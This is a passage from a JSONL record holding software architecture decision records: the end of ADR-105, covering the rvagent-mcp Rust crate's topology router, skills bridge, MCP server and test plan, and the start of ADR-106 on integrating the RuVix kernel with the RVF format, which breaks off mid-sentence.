v v\n +------+----+ +------+----+ +-----+------+\n |Hierarchical| | Mesh | | Adaptive |\n | (queen | | (gossip | | (dynamic |\n | assigns) | | routes) | | switch) |\n +-----------+ +-----------+ +------------+\n | | |\n v v v\n +------+----+ +------+----+ +-----+------+\n | Worker | | Peer | | Node |\n | Node | | Node | | (active) |\n +-----------+ +-----------+ +------------+\n```\n\n#### 4.2 Router Implementation\n\n```rust\n// crates/rvagent-mcp/src/router.rs\n\nuse crate::registry::{McpToolRegistry, McpToolHandler, ToolCallResult};\n\n/// Determines whether a tool call should be handled locally or routed\n/// to a remote node based on topology and capability matching.\npub struct TopologyRouter {\n topology: Arc<dyn Topology>,\n local_node_id: NodeId,\n local_registry: Arc<McpToolRegistry>,\n strategy: RoutingStrategy,\n}\n\n#[derive(Debug, Clone)]\npub enum RoutingStrategy {\n /// Route to the node with the matching capability and lowest load.\n /// Used in hierarchical topology where the queen assigns work.\n Hierarchical,\n\n /// Route to the nearest peer with the capability using consistent hashing.\n /// Used in mesh topology for even distribution.\n Mesh,\n\n /// Delegate to the active topology's routing rules.\n /// Switches between Hierarchical and Mesh strategies automatically.\n Adaptive,\n}\n\nimpl TopologyRouter {\n pub fn new(\n topology: Arc<dyn Topology>,\n local_node_id: NodeId,\n local_registry: Arc<McpToolRegistry>,\n strategy: RoutingStrategy,\n ) -> Self { /* ... */ }\n\n /// Route a tool call to the correct node.\n /// Returns the result from whichever node handles the call.\n pub async fn route_tool_call(\n &self,\n tool_name: &str,\n arguments: serde_json::Value,\n ) -> Result<ToolCallResult, McpError> {\n // 1. Check if the tool is available locally\n if self.local_registry.has_tool(tool_name).await {\n return self.local_registry.call_tool(tool_name, arguments).await;\n }\n\n // 2. Find a remote node with the capability\n let target = self.find_capable_node(tool_name).await?;\n\n // 3. Route via topology message\n let request = TopologyMessage {\n id: uuid::Uuid::new_v4(),\n from: self.local_node_id.clone(),\n to: MessageTarget::Node(target),\n payload: serde_json::json!({\n \"type\": \"tool_call\",\n \"tool\": tool_name,\n \"arguments\": arguments,\n }),\n timestamp: chrono::Utc::now(),\n ttl: 3,\n };\n self.topology.route(request).await?;\n\n // 4. Await response via topology recv\n let response = self.await_tool_response(request.id).await?;\n Ok(response)\n }\n\n /// Find a node capable of handling the given tool.\n async fn find_capable_node(\n &self,\n tool_name: &str,\n ) -> Result<NodeId, McpError> {\n let nodes = self.topology.discover().await\n .map_err(|e| McpError::Routing(format!(\"discovery failed: {}\", e)))?;\n\n let capable: Vec<_> = nodes.iter()\n .filter(|n| n.status == HealthStatus::Healthy)\n .filter(|n| n.capabilities.contains(&tool_name.to_string()))\n .collect();\n\n match self.strategy {\n RoutingStrategy::Hierarchical => {\n // Prefer least-loaded worker\n capable.iter()\n .min_by(|a, b| a.load.partial_cmp(&b.load).unwrap())\n .map(|n| n.node_id.clone())\n .ok_or(McpError::Routing(\n format!(\"no node has capability '{}'\", tool_name)\n ))\n }\n RoutingStrategy::Mesh => {\n // Consistent hash based on tool name for even distribution\n let hash = consistent_hash(tool_name, capable.len());\n Ok(capable[hash].node_id.clone())\n }\n RoutingStrategy::Adaptive => {\n // Delegate to whichever sub-strategy the adaptive topology is using\n if self.topology.leader().await.is_some() {\n // Currently hierarchical\n capable.iter()\n .min_by(|a, b| a.load.partial_cmp(&b.load).unwrap())\n .map(|n| n.node_id.clone())\n .ok_or(McpError::Routing(\n format!(\"no node has capability '{}'\", tool_name)\n ))\n } else {\n // Currently mesh\n let hash = consistent_hash(tool_name, capable.len());\n Ok(capable[hash].node_id.clone())\n }\n }\n }\n }\n}\n```\n\n---\n\n### 5. Skills Compatibility Bridge\n\nThe `SkillBridge` converts between rvAgent `SkillMetadata` (ADR-098), OpenAI Codex CLI task definitions, and Claude Code slash command manifests.\n\n#### 5.1 Format Mapping\n\n```\n+----------------------------+ +----------------------------+\n| rvAgent Skill (YAML) | | Codex Task Definition |\n| | | |\n| name: \"deploy-service\" | --> | name: \"deploy-service\" |\n| triggers: | | input: \"{service} {env}\" |\n| - pattern: \"/deploy\" | | instructions: \"...\" |\n| - type: slash-command | | tools: [\"shell\", \"file\"] |\n| dependencies: | +----------------------------+\n| - name: \"check-health\" |\n| codex_compatible: true | +----------------------------+\n| claude_code_compatible: | | Claude Code Skill |\n| true | | |\n+----------------------------+ --> | skill: \"deploy-service\" |\n | args: \"{service} {env}\" |\n | description: \"...\" |\n +----------------------------+\n```\n\n#### 5.2 Bridge Implementation\n\n```rust\n// crates/rvagent-mcp/src/skills_bridge.rs\n\nuse rvagent_skills::SkillMetadata;\n\n/// Converts between rvAgent skill format and external skill formats.\npub struct SkillBridge;\n\n/// Codex CLI task definition format.\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct CodexTaskDefinition {\n pub name: String,\n pub input: String,\n pub instructions: String,\n pub tools: Vec<String>,\n pub model_hint: Option<String>,\n}\n\n/// Claude Code slash command manifest.\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ClaudeCodeSkill {\n pub skill: String,\n pub args: Option<String>,\n pub description: String,\n}\n\nimpl SkillBridge {\n /// Convert rvAgent skill metadata to Codex task definition.\n pub fn to_codex(meta: &SkillMetadata, body: &str) -> Option<CodexTaskDefinition> {\n if !meta.codex_compatible {\n return None;\n }\n\n let input = meta.triggers.iter()\n .find(|t| t.trigger_type == TriggerType::Regex)\n .map(|t| t.pattern.clone())\n .unwrap_or_default();\n\n Some(CodexTaskDefinition {\n name: meta.name.clone(),\n input,\n instructions: body.to_string(),\n tools: infer_tools_from_body(body),\n model_hint: match meta.model_routing.preferred_tier {\n 1 => Some(\"fast\".into()),\n 2 => Some(\"balanced\".into()),\n 3 => Some(\"reasoning\".into()),\n _ => None,\n },\n })\n }\n\n /// Convert rvAgent skill metadata to Claude Code slash command.\n pub fn to_claude_code(meta: &SkillMetadata) -> Option<ClaudeCodeSkill> {\n if !meta.claude_code_compatible {\n return None;\n }\n\n let args = meta.triggers.iter()\n .find(|t| t.trigger_type == TriggerType::Regex)\n .map(|t| t.pattern.clone());\n\n Some(ClaudeCodeSkill {\n skill: meta.name.clone(),\n args,\n description: meta.description.clone(),\n })\n }\n\n /// Parse a Codex task definition into rvAgent skill metadata.\n pub fn from_codex(task: &CodexTaskDefinition) -> SkillMetadata {\n SkillMetadata {\n name: task.name.clone(),\n version: semver::Version::new(1, 0, 0),\n description: task.instructions.lines().next()\n .unwrap_or(&task.name).to_string(),\n triggers: vec![Trigger {\n pattern: task.input.clone(),\n trigger_type: TriggerType::Regex,\n }],\n codex_compatible: true,\n claude_code_compatible: false,\n dependencies: vec![],\n timeout_seconds: 300,\n retry_policy: None,\n model_routing: ModelRoutingHint::default(),\n }\n }\n\n /// Parse a Claude Code skill manifest into rvAgent skill metadata.\n pub fn from_claude_code(skill: &ClaudeCodeSkill) -> SkillMetadata {\n SkillMetadata {\n name: skill.skill.clone(),\n version: semver::Version::new(1, 0, 0),\n description: skill.description.clone(),\n triggers: vec![Trigger {\n pattern: format!(\"/{}\", skill.skill),\n trigger_type: TriggerType::SlashCommand,\n }],\n codex_compatible: false,\n claude_code_compatible: true,\n dependencies: vec![],\n timeout_seconds: 300,\n retry_policy: None,\n model_routing: ModelRoutingHint::default(),\n }\n }\n}\n```\n\n---\n\n### 6. MCP Server Lifecycle\n\nThe `McpServer` orchestrates the registry, resources, transport, and router into a single runnable server:\n\n```rust\n// crates/rvagent-mcp/src/lib.rs\n\npub struct McpServer {\n registry: Arc<McpToolRegistry>,\n resources: Arc<ResourceManager>,\n router: Option<TopologyRouter>,\n transport: Box<dyn McpTransport>,\n capabilities: ServerCapabilities,\n}\n\nimpl McpServer {\n pub fn builder() -> McpServerBuilder { McpServerBuilder::new() }\n\n /// Run the server loop: recv -> dispatch -> send.\n pub async fn run(&mut self) -> Result<(), McpError> {\n self.transport.start().await?;\n\n loop {\n let message = self.transport.recv().await?;\n match message {\n JsonRpcMessage::Request(req) => {\n let response = self.dispatch(req).await;\n self.transport.send(JsonRpcMessage::Response(response)).await?;\n }\n JsonRpcMessage::Notification(notif) => {\n self.handle_notification(notif).await;\n }\n }\n }\n }\n\n /// Dispatch a JSON-RPC request to the correct handler.\n async fn dispatch(&self, req: JsonRpcRequest) -> JsonRpcResponse {\n match req.method.as_str() {\n \"initialize\" => self.handle_initialize(req).await,\n \"tools/list\" => self.handle_tools_list(req).await,\n \"tools/call\" => self.handle_tools_call(req).await,\n \"resources/list\" => self.handle_resources_list(req).await,\n \"resources/read\" => self.handle_resources_read(req).await,\n \"resources/templates/list\" => self.handle_templates_list(req).await,\n \"resources/subscribe\" => self.handle_resources_subscribe(req).await,\n \"resources/unsubscribe\" => self.handle_resources_unsubscribe(req).await,\n \"ping\" => self.handle_ping(req).await,\n _ => JsonRpcResponse::error(\n req.id,\n -32601,\n format!(\"Method not found: {}\", req.method),\n ),\n }\n }\n}\n\npub struct McpServerBuilder {\n transport: Option<Box<dyn McpTransport>>,\n tool_registry: Option<Arc<McpToolRegistry>>,\n resource_manager: Option<Arc<ResourceManager>>,\n topology_router: Option<TopologyRouter>,\n}\n\nimpl McpServerBuilder {\n pub fn transport(mut self, transport: impl McpTransport + 'static) -> Self { /* ... */ }\n pub fn registry(mut self, registry: Arc<McpToolRegistry>) -> Self { /* ... */ }\n pub fn resources(mut self, manager: Arc<ResourceManager>) -> Self { /* ... */ }\n pub fn router(mut self, router: TopologyRouter) -> Self { /* ... */ }\n pub fn build(self) -> Result<McpServer, McpError> { /* ... */ }\n}\n```\n\n#### 6.1 Claude Code Integration\n\n```bash\n# Register rvagent-mcp as a Claude Code MCP server\nclaude mcp add rvagent -- cargo run -p rvagent-mcp --bin rvagent-mcp-stdio\n\n# Or via npx for the npm package\nclaude mcp add rvagent -- npx ruvector mcp serve --transport stdio\n```\n\n#### 6.2 SSE Deployment\n\n```bash\n# Start the SSE transport for remote clients\ncargo run -p rvagent-mcp --bin rvagent-mcp-sse -- --bind 0.0.0.0:9200\n\n# Or via npx\nnpx ruvector mcp serve --transport sse --port 9200\n```\n\n---\n\n### 7. Protocol Messages\n\nThe full JSON-RPC 2.0 protocol layer (see ADR-104 sister document for complete type definitions):\n\n```rust\n// crates/rvagent-mcp/src/protocol.rs\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\n#[serde(untagged)]\npub enum JsonRpcMessage {\n Request(JsonRpcRequest),\n Response(JsonRpcResponse),\n Notification(JsonRpcNotification),\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct JsonRpcRequest {\n pub jsonrpc: String, // \"2.0\"\n pub id: RequestId,\n pub method: String,\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub params: Option<serde_json::Value>,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct JsonRpcResponse {\n pub jsonrpc: String,\n pub id: RequestId,\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub result: Option<serde_json::Value>,\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub error: Option<JsonRpcError>,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct JsonRpcNotification {\n pub jsonrpc: String,\n pub method: String,\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub params: Option<serde_json::Value>,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct JsonRpcError {\n pub code: i64,\n pub message: String,\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub data: Option<serde_json::Value>,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\n#[serde(untagged)]\npub enum RequestId {\n Number(i64),\n String(String),\n}\n```\n\n---\n\n### 8. Testing Strategy\n\n#### 8.1 MCP Protocol Compliance Tests\n\n```rust\n#[cfg(test)]\nmod protocol_compliance {\n /// initialize handshake: client sends initialize, server responds with\n /// capabilities and protocol_version, client sends initialized notification.\n #[tokio::test]\n async fn test_initialize_handshake() { /* ... */ }\n\n /// tools/list returns all registered tools with valid JSON Schema.\n #[tokio::test]\n async fn test_tools_list_schema_validity() { /* ... */ }\n\n /// tools/call validates arguments against schema before dispatch.\n #[tokio::test]\n async fn test_tools_call_schema_validation() { /* ... */ }\n\n /// tools/call returns isError=true for tool execution failures.\n #[tokio::test]\n async fn test_tools_call_error_propagation() { /* ... */ }\n\n /// resources/list returns all static resources and templates.\n #[tokio::test]\n async fn test_resources_list_completeness() { /* ... */ }\n\n /// resources/read with parameterized URI resolves template variables.\n #[tokio::test]\n async fn test_resources_read_template_resolution() { /* ... */ }\n\n /// resources/subscribe + notification/resources/updated flow.\n #[tokio::test]\n async fn test_resource_subscription_notifications() { /* ... */ }\n\n /// Unknown method returns JSON-RPC -32601 error.\n #[tokio::test]\n async fn test_unknown_method_error() { /* ... */ }\n\n /// Malformed JSON returns JSON-RPC -32700 parse error.\n #[tokio::test]\n async fn test_malformed_json_parse_error() { /* ... */ }\n}\n```\n\n#### 8.2 AnyTool Adapter Tests\n\n```rust\n#[cfg(test)]\nmod adapter_tests {\n /// All 9 built-in tools register successfully via AnyToolAdapter.\n #[tokio::test]\n async fn test_register_all_builtin_tools() { /* ... */ }\n\n /// Tool call through adapter produces correct ToolCallResult.\n #[tokio::test]\n async fn test_adapter_call_passthrough() { /* ... */ }\n\n /// Tool annotations (destructive, reads_external, etc.) are set correctly.\n #[tokio::test]\n async fn test_tool_annotations_mapping() { /* ... */ }\n\n /// Dynamic tool registration after server start triggers list_changed notification.\n #[tokio::test]\n async fn test_dynamic_tool_registration_notification() { /* ... */ }\n\n /// Concurrent calls to the same tool do not deadlock.\n #[tokio::test]\n async fn test_concurrent_same_tool_calls() { /* ... */ }\n}\n```\n\n#### 8.3 Topology Router Tests\n\n```rust\n#[cfg(test)]\nmod router_tests {\n /// Local tool call bypasses topology routing.\n #[tokio::test]\n async fn test_local_tool_call_direct() { /* ... */ }\n\n /// Remote tool call routes through hierarchical topology to least-loaded worker.\n #[tokio::test]\n async fn test_hierarchical_routing_least_loaded() { /* ... */ }\n\n /// Remote tool call routes through mesh topology via consistent hash.\n #[tokio::test]\n async fn test_mesh_routing_consistent_hash() { /* ... */ }\n\n /// Adaptive router delegates to correct sub-strategy.\n #[tokio::test]\n async fn test_adaptive_routing_delegation() { /* ... */ }\n\n /// Routing fails gracefully when no node has the requested capability.\n #[tokio::test]\n async fn test_routing_no_capable_node() { /* ... */ }\n\n /// TTL prevents infinite routing loops in mesh topology.\n #[tokio::test]\n async fn test_ttl_prevents_routing_loops() { /* ... */ }\n}\n```\n\n#### 8.4 Skills Bridge Tests\n\n```rust\n#[cfg(test)]\nmod skills_bridge_tests {\n /// rvAgent skill -> Codex task definition round-trip preserves semantics.\n #[test]\n fn test_codex_roundtrip() { /* ... */ }\n\n /// rvAgent skill -> Claude Code slash command round-trip preserves semantics.\n #[test]\n fn test_claude_code_roundtrip() { /* ... */ }\n\n /// Skill with codex_compatible=false returns None from to_codex.\n #[test]\n fn test_codex_incompatible_returns_none() { /* ... */ }\n\n /// Skill with claude_code_compatible=false returns None from to_claude_code.\n #[test]\n fn test_claude_code_incompatible_returns_none() { /* ... */ }\n\n /// Model routing tier maps correctly to Codex model_hint.\n #[test]\n fn test_model_routing_tier_mapping() { /* ... */ }\n\n /// Codex task definition -> rvAgent skill preserves name, description, triggers.\n #[test]\n fn test_from_codex_preserves_fields() { /* ... */ }\n}\n```\n\n#### 8.5 Transport Integration Tests\n\n```rust\n#[cfg(test)]\nmod transport_tests {\n /// Stdio transport: write request to stdin, read response from stdout.\n #[tokio::test]\n async fn test_stdio_request_response_cycle() { /* ... */ }\n\n /// SSE transport: POST request to /message, receive response via /sse stream.\n #[tokio::test]\n async fn test_sse_post_and_stream() { /* ... */ }\n\n /// SSE transport: multiple concurrent clients each receive their own responses.\n #[tokio::test]\n async fn test_sse_multiple_clients() { /* ... */ }\n\n /// Transport shutdown closes gracefully without dropping in-flight messages.\n #[tokio::test]\n async fn test_graceful_shutdown() { /* ... */ }\n}\n```\n\n#### 8.6 Property-Based and Stress Tests\n\n```rust\n#[cfg(test)]\nmod property_tests {\n use proptest::prelude::*;\n\n proptest! {\n /// Any valid JSON-RPC request round-trips through serialize/deserialize.\n #[test]\n fn json_rpc_roundtrip(\n method in \"[a-z/]{1,30}\",\n id in prop_oneof![\n any::<i64>().prop_map(RequestId::Number),\n \"[a-z0-9]{1,20}\".prop_map(RequestId::String),\n ],\n ) {\n // Construct request, serialize, deserialize, assert equality\n }\n\n /// Tool call with valid arguments always returns a result (not a transport error).\n #[test]\n fn valid_tool_call_never_transport_errors(\n tool_index in 0..9usize,\n ) {\n // Select a built-in tool, generate valid arguments, call, assert no McpError::Transport\n }\n }\n}\n\n#[cfg(test)]\nmod stress_tests {\n /// 1000 concurrent tool calls through the registry without deadlock.\n #[tokio::test]\n async fn stress_concurrent_registry_calls() { /* ... */ }\n\n /// 500 resource reads interleaved with state mutations.\n #[tokio::test]\n async fn stress_resource_reads_during_mutations() { /* ... */ }\n\n /// Rapid tool register/unregister cycles while serving calls.\n #[tokio::test]\n async fn stress_registry_churn() { /* ... */ }\n}\n```\n\n---\n\n## Architecture: End-to-End Flow\n\n```\n+------------------------------------------------------------------+\n| MCP Client |\n| (Claude Code / Codex CLI / VS Code / Claude Desktop) |\n+---+---------------------------+---------------------------+------+\n | | |\n | tools/list | tools/call | resources/read\n | tools/call | \"rvagent_execute\" | \"rvagent://topology\"\n v v v\n+---+---------------------------+---------------------------+------+\n| McpTransport (stdio or SSE) |\n+---+---------------------------+---------------------------+------+\n | | |\n v v v\n+---+----------+ +-----------+-----------+ +----------+------+\n| McpServer | | McpToolRegistry | | ResourceManager |\n| (dispatch) |--->| (validate + invoke) | | (list + read) |\n+--------------+ +-----------+-----------+ +---------+-------+\n | |\n +-----------+-----------+ +----------+------+\n | | | |\n local? remote? | AgentState |\n | | | SkillsCatalog |\n v v | Topology |\n +-------+------+ +-----------+--+ +---------+------+\n | AnyTool | | Topology |\n | Adapter | | Router |\n | (ADR-096) | | (route msg) |\n +--------------+ +------+-------+\n |\n +------------+------------+\n | | |\n v v v\n Hierarchical Mesh Adaptive\n (queen/worker) (gossip) (auto-switch)\n```\n\n---\n\n## Consequences\n\n### Positive\n\n1. **Full MCP compliance.** The `rvagent-mcp` crate implements the MCP specification for tools, resources, and transports. Any MCP-compatible client (Claude Code, VS Code with MCP extension, Claude Desktop) can connect and use rvAgent tools without custom integration code.\n\n2. **Zero-rewrite tool integration.** The `AnyToolAdapter` (section 1.3) bridges all existing `rvagent-tools` implementations into MCP without modifying them. New tools added via ADR-096's `Tool` trait are automatically available through MCP. No dual maintenance burden.\n\n3. **Agent state observability.** Operations teams can monitor agent state, conversation history, todo lists, and topology health through standard MCP resource reads. No custom dashboards or instrumentation required -- any MCP client serves as an observation tool.\n\n4. **Topology transparency.** Tool calls are routed to the correct node regardless of which transport the client connected through. The client does not need to know about the topology -- it calls `tools/call` and the router handles the rest.\n\n5. **Cross-platform skills portability.** A single YAML skill definition works with rvAgent, OpenAI Codex CLI, and Claude Code slash commands. Teams author skills once and use them across all platforms. The `SkillBridge` handles format translation automatically.\n\n6. **Incremental adoption.** The `McpServer::builder()` pattern allows teams to start with just tools (no resources, no routing) and add capabilities incrementally. The topology router is optional -- single-node deployments skip it entirely.\n\n### Negative\n\n1. **New crate dependency.** Adding `rvagent-mcp` increases the workspace by one crate and introduces dependencies on `axum` (for SSE), `jsonschema` (for validation), and `uuid` (for message IDs). Mitigated by making SSE transport feature-gated (`feature = \"sse\"`) so stdio-only deployments avoid the HTTP stack.\n\n2. **Topology router complexity.** Routing tool calls across nodes introduces failure modes (network partitions, stale capability caches, split-brain in adaptive mode). Mitigated by TTL on routed messages, fallback to local execution, and the topology-level fault tolerance from Raft/gossip protocols.\n\n3. **Skills bridge maintenance.** Both Codex and Claude Code may change their skill formats. The `SkillBridge` must track upstream changes. Mitigated by the compatibility flags (`codex_compatible`, `claude_code_compatible`) being opt-in -- skills that do not set these flags are unaffected by external format changes.\n\n4. **Testing surface area.** MCP protocol compliance, transport reliability, topology routing, and skills bridge each require dedicated test suites. The testing strategy in section 8 adds approximately 40 new test functions. Mitigated by the test pyramid -- most tests are fast unit tests, with a small number of integration and stress tests.\n\n### Migration Path\n\n| Phase | Scope | Estimated Effort | Dependencies |\n|-------|-------|-----------------|--------------|\n| **Phase 1** | Protocol types, registry, stdio transport | 2 weeks | ADR-096 tool system |\n| **Phase 2** | AnyToolAdapter, schema generation, all 9 built-in tools | 1 week | Phase 1 |\n| **Phase 3** | Resource system, AgentState/Skills/Topology providers | 1.5 weeks | Phase 1, ADR-098, ADR-103 |\n| **Phase 4** | SSE transport, multi-client support | 1 week | Phase 1, ADR-066 |\n| **Phase 5** | TopologyRouter with Hierarchical/Mesh/Adaptive strategies | 2 weeks | Phase 2, topology module |\n| **Phase 6** | SkillBridge: Codex + Claude Code format converters | 1 week | Phase 3, ADR-098 |\n| **Phase 7** | Protocol compliance tests, stress tests, property tests | 1.5 weeks | All phases |\n| **Phase 8** | Documentation, CLI integration (`npx ruvector mcp serve`) | 1 week | All phases |\n\n### Test Coverage Targets\n\n| Component | Target | Rationale |\n|-----------|--------|-----------|\n| Protocol layer (JSON-RPC types) | 95% | Serialization correctness is critical for interop |\n| McpToolRegistry | 90% | Core MCP functionality, concurrent access |\n| McpTransport (stdio) | 90% | Primary integration path for Claude Code |\n| McpTransport (SSE) | 85% | I/O-heavy, harder to unit test |\n| AnyToolAdapter | 95% | Bridge correctness ensures all tools work |\n| ResourceManager + providers | 85% | Read-heavy, lower risk than writes |\n| TopologyRouter | 90% | Routing correctness is critical for multi-node |\n| SkillBridge | 90% | Format fidelity across platforms |\n\n### Crate Dependency Graph (Updated)\n\n```\nrvagent-mcp (new)\n +-- rvagent-tools (AnyTool adapter, ADR-096)\n +-- rvagent-core (Topology trait, ADR-097/103)\n +-- rvagent-skills (SkillLoader, ADR-098)\n +-- serde / serde_json (serialization)\n +-- tokio (async runtime)\n +-- async-trait (trait async methods)\n +-- jsonschema (tool argument validation)\n +-- uuid (message IDs)\n +-- axum [optional] (SSE transport, feature = \"sse\")\n +-- semver (skill version resolution)\n\nrvagent-skills (enhanced)\n +-- rvagent-mcp (resource-based skill loading)\n +-- rvagent-core\n +-- serde_yaml (YAML frontmatter parsing)\n +-- semver (version constraint resolution)\n\nrvagent-core (enhanced)\n +-- topology/ (new module, see ADR-104 sister document)\n +-- mod.rs\n +-- hierarchical.rs\n +-- mesh.rs\n +-- adaptive.rs\n```\n\n---\n\n## Cross-References\n\n| ADR | Relationship |\n|-----|-------------|\n| [ADR-095](ADR-095-deepagents-middleware-pipeline.md) | MCP tool calls pass through the middleware pipeline; typed AgentState (amendment A1 from ADR-103) is served as resources |\n| [ADR-096](ADR-096-deepagents-tool-system.md) | AnyToolAdapter bridges the `Tool` trait and `ToolSet` into MCP tool definitions |\n| [ADR-097](ADR-097-deepagents-subagent-orchestration.md) | SubAgent `task` tool exposed as MCP tool; topology routing extends subagent model to multi-node |\n| [ADR-098](ADR-098-deepagents-memory-skills-summarization.md) | Skills middleware provides `SkillLoader` and `SkillMetadata` consumed by `SkillBridge` and `SkillsCatalogProvider` |\n| [ADR-099](ADR-099-deepagents-cli-acp-server.md) | CLI gains `mcp serve` subcommand; ACP server can optionally expose MCP alongside ACP |\n| [ADR-100](ADR-100-deepagents-rvf-integration-crate-structure.md) | `rvagent-mcp` added to workspace layout; crate dependency graph updated |\n| [ADR-101](ADR-101-deepagents-testing-strategy.md) | Testing strategy extended with MCP protocol compliance, transport, and topology router test suites |\n| [ADR-102](ADR-102-deepagents-implementation-roadmap.md) | Roadmap updated with 8-phase MCP integration plan |\n| [ADR-103](ADR-103-deepagents-review-amendments.md) | Typed AgentState (A1), parallel tool execution (A2), and security hardening feed into MCP resource providers and tool handlers |\n\n---\n\n## References\n\n- [Model Context Protocol Specification](https://spec.modelcontextprotocol.io/)\n- [JSON-RPC 2.0 Specification](https://www.jsonrpc.org/specification)\n- [MCP Tool Annotations](https://spec.modelcontextprotocol.io/specification/2025-03-26/server/tools/)\n- [MCP Resources](https://spec.modelcontextprotocol.io/specification/2025-03-26/server/resources/)\n- [Raft Consensus Algorithm](https://raft.github.io/)\n- [SWIM Gossip Protocol](https://www.cs.cornell.edu/projects/Quicksilver/public_pdfs/SWIM.pdf)\n- ADR-066: SSE MCP Transport (brain server precedent)\n- ADR-093: DeepAgents Rust Conversion Overview (series root)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-105-rvagent-mcp-implementation-details.md", "created_at": "2026-03-28T11:58:49.943748+00:00", "content_hash": "fd961b52e39311c09e0a8045ba56d7e1c71168bab45ac39b9972b2e09efe6be4"} +{"id": "1dc7c9b8-b52a-44d4-ad86-fd4b76e436f4", "source": "adr", "text": "# ADR-106: RuVix Kernel Integration with RVF\n\n| Field | Value |\n|---------------|--------------------------------------------|\n| **Status** | Proposed |\n| **Date** | 2026-03-15 |\n| **Deciders** | RuVector Core Team |\n| **Relates to**| ADR-087 (RuVix Cognition Kernel), ADR-031 (RVF Format) |\n\n## Context\n\nThe RuVector project contains two major subsystems that deal with the RVF (RuVector Format):\n\n1. **RuVix Cognition Kernel** (`crates/ruvix/`) \u2014 A bare-metal microkernel with 12 syscalls, capability-gated resources, and a 5-stage boot sequence. It is organized as a dedicated Cargo workspace with 22 internal crates (`ruvix-types`, `ruvix-nucleus`, `ruvix-boot`, `ruvix-cap`, `ruvix-proof`, `ruvix-sched`, `ruvix-region`, `ruvix-queue`, `ruvix-vecgraph`, `ruvix-hal`, `ruvix-drivers`, `ruvix-smp`, `ruvix-physmem`, `ruvix-dma`, `ruvix-dtb`, `ruvix-net`, `ruvix-fs`, `ruvix-shell`, `ruvix-cli`, etc.).\n\n2. **RVF Format Stack** (`crates/rvf/`) \u2014 The file-format and runtime for RVF vector stores. It is organized as a dedicated Cargo workspace with 17+ sub-crates (`rvf-types`, `rvf-runtime`, `rvf-kernel`, `rvf-index`, `rvf-quant`, `rvf-wire`, `rvf-crypto`, `rvf-manifest`, `rvf-ebpf`, `rvf-launch`, `rvf-wasm`, `rvf-import`, `rvf-federation`, `rvf-node`, `rvf-server`, `rvf-adapters`, `rvf-cli`).\n\n### Current Integration State\n\nThe dependency relationship is **uni-directional and informal**:\n\n- **RuVix \u2192 RVF**: RuVix references RVF concepts extensively (45 source files mention \"rvf\"), but does so through its *own* re-implemented types (`ruvix-types::rvf::RvfMountHandle`, `RvfComponentId`, `RvfVerifyStatus`, `WitTypeId`). These are independent `#[repr(C)]`/`#[repr(transparent)]` structs that do not depend on `rvf-types`.\n\n- **RVF \u2192 RuVix**: Zero references. The RVF stack has no knowledge of the kernel.\n\n- **Parallel type systems**: Both stacks define kernel-related types independently:\n - `rvf-types::kernel` defines `KernelHeader`, `KernelArch`, `KernelType`, `KernelBinding`, segment flags, and wire-format constants.\n - `ruvix-types::rvf` defines `RvfMountHandle`, `RvfComponentId`, `RvfVerifyStatus` \u2014 runtime abstractions for the kernel's mount syscall.\n\n- **`rvf-kernel`** crate builds real Linux bzImage/initramfs images and embeds them into RVF files using `rvf-types::kernel::KernelHeader`. It is a *build-time* tool, not a runtime dependency of the ruvix kernel.\n\n### Key Integration Points\n\n| RuVix Subsystem | RVF Subsystem | Integration Point |\n|-----------------|---------------|-------------------|\n| `ruvix-boot` (Stage 1: RVF Verify) | `rvf-manifest`, `rvf-crypto` | Manifest parsing + ML-DSA-65 signature verification |\n| `ruvix-boot` (Stage 3: Component Mount) | `rvf-wasm` | WASM component loading from RVF segments |\n| `ruvix-nucleus::Syscall::RvfMount` | `rvf-runtime` | Runtime package mounting |\n| `ruvix-types::rvf` | `rvf-types::kernel` | Parallel type definitions with no shared code |\n| `ruvix-nucleus::VectorStore` | `rvf-runtime::RvfStore` | Both manage vectors; kernel's is in-memory, RVF's is on-disk |\n| `ruvix-boot::WitnessLog` | `rvf-runtime::witness` | Both implement witness/attestation logs independently |\n\n### Problems\n\n1. **Type divergence**: `ruvix-types::rvf` and `rvf-types` define the same concepts (`RvfVerifyStatus`, mount handles, component IDs) with incompatible representations. Converting between them requires manual mapping.\n\n2. **Duplicate witness implementations**: `ruvix-boot::WitnessLog` and `rvf-runtime::witness` both implement cryptographically-linked append-only logs with no shared code.\n\n3. **No shared manifest format**: `ruvix-boot::manifest::RvfManifest` parses a `RVF1`-prefixed manifest, while `rvf-manifest` defines the canonical RVF manifest format. These are likely incompatible.\n\n4. **Kernel image embedding is disconnected**: `rvf-kernel` builds Linux kernel images and creates `KernelHeader` structs for embedding in RVF files, but `ruvix-boot` does not consume these headers \u2014 it has its own boot verification path.\n\n5. **No runtime bridge**: When the ruvix kernel mounts an RVF package at runtime (`Syscall::RvfMount`), it does not use `rvf-runtime::RvfStore` to read the package. The mount implementation in `ruvix-boot::mount::RvfMount` is a standalone implementation.\n\n## Decision\n\nAdopt a **shared-types bridge** architecture with three layers:\n\n### Layer 1: Shared Wire Types (`rvf-types` as the canonical source)\n\n`rvf-types` becomes the single source of truth for all wire-format types used by both stacks. Specifically:\n\n- `rvf-types` already provides `KernelHeader`, `KernelArch`, `KernelType`, `KernelBinding`, segment types, and flags.\n- Add `RvfMountHandle`, `RvfComponentId`, `RvfVerifyStatus`, and `WitTypeId` to `rvf-types` (or a new `rvf-types::mount` module), since these are format-level concepts.\n- `ruvix-types::rvf` re-exports from `rvf-types` instead of defining its own structs. This is opt-in via a `rvf-compat` feature flag so the ruvix kernel can still build in `no_std` without pulling in `rvf-types::std`.\n\n### Layer 2: Manifest & Signature Convergence\n\n- `ruvix-boot::manifest::RvfManifest` delegates to `rvf-manifest` for parsing the canonical manifest format. The kernel-specific boot manifest is a *subset* of the full RVF manifest.\n- `ruvix-boot::signature::SignatureVerifier` delegates to 